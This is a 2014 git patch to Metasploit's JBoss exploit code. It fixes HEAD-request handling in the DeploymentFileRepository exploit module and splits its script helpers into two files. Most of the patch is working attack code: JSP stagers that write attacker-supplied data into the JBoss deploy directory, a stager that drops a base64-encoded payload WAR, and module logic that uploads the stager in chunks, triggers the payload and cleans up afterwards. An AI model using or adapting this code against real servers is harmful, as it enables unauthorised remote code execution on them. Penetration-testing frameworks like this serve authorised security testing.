From 283e83028f8adbbf5185d16975eb3db373c77075 Mon Sep 17 00:00:00 2001 From: Vincent Herbulot Date: Mon, 8 Sep 2014 14:02:15 +0200 Subject: [PATCH] Fix problem with HEAD requests Split lib/msf/http/jboss/script into lib/msf/http/jboss/deployment_file_repository_scripts.rb and lib/msf/http/jboss/bean_shell_scripts.rb as --- lib/msf/http/jboss.rb | 6 +- .../{scripts.rb => bean_shell_scripts.rb} | 39 +--------- .../deployment_file_repository_scripts.rb | 76 +++++++++++++++++++ .../http/jboss_deploymentfilerepository.rb | 36 +++++---- 4 files changed, 98 insertions(+), 59 deletions(-) rename lib/msf/http/jboss/{scripts.rb => bean_shell_scripts.rb} (69%) create mode 100644 lib/msf/http/jboss/deployment_file_repository_scripts.rb diff --git a/lib/msf/http/jboss.rb b/lib/msf/http/jboss.rb index 87c9afe052..0f9feb2bfb 100644 --- a/lib/msf/http/jboss.rb +++ b/lib/msf/http/jboss.rb @@ -5,15 +5,17 @@ module Msf module HTTP module JBoss require 'msf/http/jboss/base' - require 'msf/http/jboss/scripts' require 'msf/http/jboss/bean_shell' + require 'msf/http/jboss/bean_shell_scripts' require 'msf/http/jboss/deployment_file_repository' + require 'msf/http/jboss/deployment_file_repository_scripts' include Msf::Exploit::Remote::HttpClient include Msf::HTTP::JBoss::Base - include Msf::HTTP::JBoss::Scripts include Msf::HTTP::JBoss::BeanShell + include Msf::HTTP::JBoss::BeanShellScripts include Msf::HTTP::JBoss::DeploymentFileRepository + include Msf::HTTP::JBoss::DeploymentFileRepositoryScripts def initialize(info = {}) super diff --git a/lib/msf/http/jboss/scripts.rb b/lib/msf/http/jboss/bean_shell_scripts.rb similarity index 69% rename from lib/msf/http/jboss/scripts.rb rename to lib/msf/http/jboss/bean_shell_scripts.rb index c89b10ce7a..995b13c25d 100644 --- a/lib/msf/http/jboss/scripts.rb +++ b/lib/msf/http/jboss/bean_shell_scripts.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- -module Msf::HTTP::JBoss::Scripts +module Msf::HTTP::JBoss::BeanShellScripts # Generates a Bean Shell Script. # @@ -19,43 +19,6 @@ module Msf::HTTP::JBoss::Scripts bean_shell end - # Generate a stager JSP to write the second stager to the - # deploy/management direcotry. It is only used with HEAD/GET requests - # to overcome the size limit in those requests - # - # @param stager_base [String] The name of the base of the stager. - # @param stager_jsp [String] The name name of the jsp stager. - # @return [String] The JSP head stager. - def head_stager_jsp(stager_base, stager_jsp) - content_var = rand_text_alpha(8+rand(8)) - file_path_var = rand_text_alpha(8+rand(8)) - jboss_home_var = rand_text_alpha(8+rand(8)) - fos_var = rand_text_alpha(8+rand(8)) - bw_var = rand_text_alpha(8+rand(8)) - head_stager_jsp_code = <<-EOT -<%@page import="java.io.*, - java.util.*" -%> -<% - String #{jboss_home_var} = System.getProperty("jboss.server.home.dir"); - String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp}" + ".jsp"; - if (request.getParameter("#{content_var}") != null) { - try { - String parameterName = (String)(request.getParameterNames().nextElement()); - #{content_var} = request.getParameter(parameterName); - FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true); - BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var}); - #{bw_var}.write(#{content_var}); - #{bw_var}.close(); - } - catch(Exception e) { } - } -%> - EOT - - head_stager_jsp - end - # Generate a stager JSP to write a WAR file to the deploy/ directory. # This is used to bypass the size limit for GET/HEAD requests. # diff --git a/lib/msf/http/jboss/deployment_file_repository_scripts.rb b/lib/msf/http/jboss/deployment_file_repository_scripts.rb new file mode 100644 index 0000000000..6e69005075 --- /dev/null +++ b/lib/msf/http/jboss/deployment_file_repository_scripts.rb @@ -0,0 +1,76 @@ +# -*- coding: binary -*- + +module Msf::HTTP::JBoss::DeploymentFileRepositoryScripts + + # Generate a stager JSP to write the second stager to the + # deploy/management direcotry. It is only used with HEAD/GET requests + # to overcome the size limit in those requests + # + # @param stager_base [String] The name of the base of the stager. + # @param stager_jsp [String] The name name of the jsp stager. + # @return [String] The JSP head stager. + def head_stager_jsp(stager_base, stager_jsp_name) + content_var = rand_text_alpha(8+rand(8)) + file_path_var = rand_text_alpha(8+rand(8)) + jboss_home_var = rand_text_alpha(8+rand(8)) + fos_var = rand_text_alpha(8+rand(8)) + bw_var = rand_text_alpha(8+rand(8)) + head_stager_jsp_code = <<-EOT +<%@page import="java.io.*, + java.util.*" +%> +<% + String #{jboss_home_var} = System.getProperty("jboss.server.home.dir"); + String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp_name}" + ".jsp"; + try { + String #{content_var} = ""; + String parameterName = (String)(request.getParameterNames().nextElement()); + #{content_var} = request.getParameter(parameterName); + FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true); + BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var}); + #{bw_var}.write(#{content_var}); + #{bw_var}.close(); + } + catch(Exception e) { } +%> + EOT + head_stager_jsp_code + end + + # Generate a stager JSP to write a WAR file to the deploy/ directory. + # This is used to bypass the size limit for GET/HEAD requests. + # + # @param app_base [String] The name of the WAR app to write. + # @return [String] The JSP stager. + def stager_jsp(app_base, encoded_payload) + decoded_var = Rex::Text.rand_text_alpha(8+rand(8)) + file_path_var = Rex::Text.rand_text_alpha(8+rand(8)) + jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8)) + fos_var = Rex::Text.rand_text_alpha(8+rand(8)) + content_var = Rex::Text.rand_text_alpha(8+rand(8)) + + stager_jsp = <<-EOT +<%@page import="java.io.*, + java.util.*, + sun.misc.BASE64Decoder" +%> +<% + String #{jboss_home_var} = System.getProperty("jboss.server.home.dir"); + String #{file_path_var} = #{jboss_home_var} + "/deploy/" + "#{app_base}.war"; + try { + String #{content_var} = "#{encoded_payload}"; + FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var}); + byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var}); + #{fos_var}.write(#{decoded_var}); + #{fos_var}.close(); + } + catch(Exception e){ } +%> + EOT + + stager_jsp + end + + + +end diff --git a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb index 429e4337a0..65aecc90e2 100644 --- a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb +++ b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb @@ -84,12 +84,12 @@ class Metasploit3 < Msf::Exploit::Remote jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) stager_base = rand_text_alpha(8+rand(8)) - stager_jsp = rand_text_alpha(8+rand(8)) + stager_jsp_name = rand_text_alpha(8+rand(8)) p = payload mytarget = target - if (datastore['VERB'] == 'HEAD') + if (http_verb == 'HEAD') print_status("Unable to automatically select a target with HEAD requests") else if (target.name =~ /Automatic/) @@ -120,27 +120,25 @@ class Metasploit3 < Msf::Exploit::Remote }).to_s encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '') - - + stager_contents = stager_jsp(app_base, encoded_payload) # Depending on the type on the verb we might use a second stager - if datastore['VERB'] == "POST" then + if http_verb == "POST" then print_status("Deploying stager for the WAR file") - stager_contents = stager_jsp(app_base) - res = upload_file(stager_base, stager_jsp, stager_contents) + res = upload_file(stager_base, stager_jsp_name, stager_contents) else print_status("Deploying minimal stager to upload the payload") head_stager_jsp_name = rand_text_alpha(8+rand(8)) - head_stager_contents = head_stager_jsp(stager_base, stager_jsp) - head_stager_uri = "/" + stager_base + "/" + head_stager_jsp + ".jsp?" + head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name) + head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp?" res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents) # We split the stager_jsp_code in multipe junks and transfer on the # target with multiple requests current_pos = 0 - while current_pos < stager_jsp_code.length + while current_pos < stager_contents.length next_pos = current_pos + 5000 + rand(100) - junk = "#{content_var}=" + Rex::Text.uri_encode(stager_jsp_code[current_pos,next_pos]) - print_status("Uploading second stager (#{current_pos}/#{stager_jsp_code.length})") + junk = "arg0=" + Rex::Text.uri_encode(stager_contents[current_pos,next_pos]) + print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})") res = deploy('uri' => head_stager_uri + junk) current_pos += next_pos end @@ -152,11 +150,9 @@ class Metasploit3 < Msf::Exploit::Remote # but the file still gets written. if (res.code == 200 || res.code == 500) print_status("Calling stager to deploy the payload warfile (might take some time)") - stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp' - payload_data = "#{rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}" + stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp' stager_res = deploy('uri' => stager_uri, - 'data' => payload_data, - 'method' => http_verb) + 'method' => 'GET') print_status("Try to call the deployed payload") # Try to execute the payload by calling the deployed WAR file @@ -169,10 +165,12 @@ class Metasploit3 < Msf::Exploit::Remote # The WAR can only be removed by physically deleting it, otherwise it # will get redeployed after a server restart. print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...") - print_status("This might take some time, be patient...") if datastore['VERB'] == "HEAD" + print_status("This might take some time, be patient...") if http_verb == "HEAD" delete_res = [] - delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp, '.jsp') - delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp, '.jsp') + if head_stager_jsp_name + delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp_name, '.jsp') + end + delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp_name, '.jsp') delete_res << delete_file('./', Rex::Text.uri_encode(stager_base) + '.war', '') delete_res << delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '') delete_res.each do |res|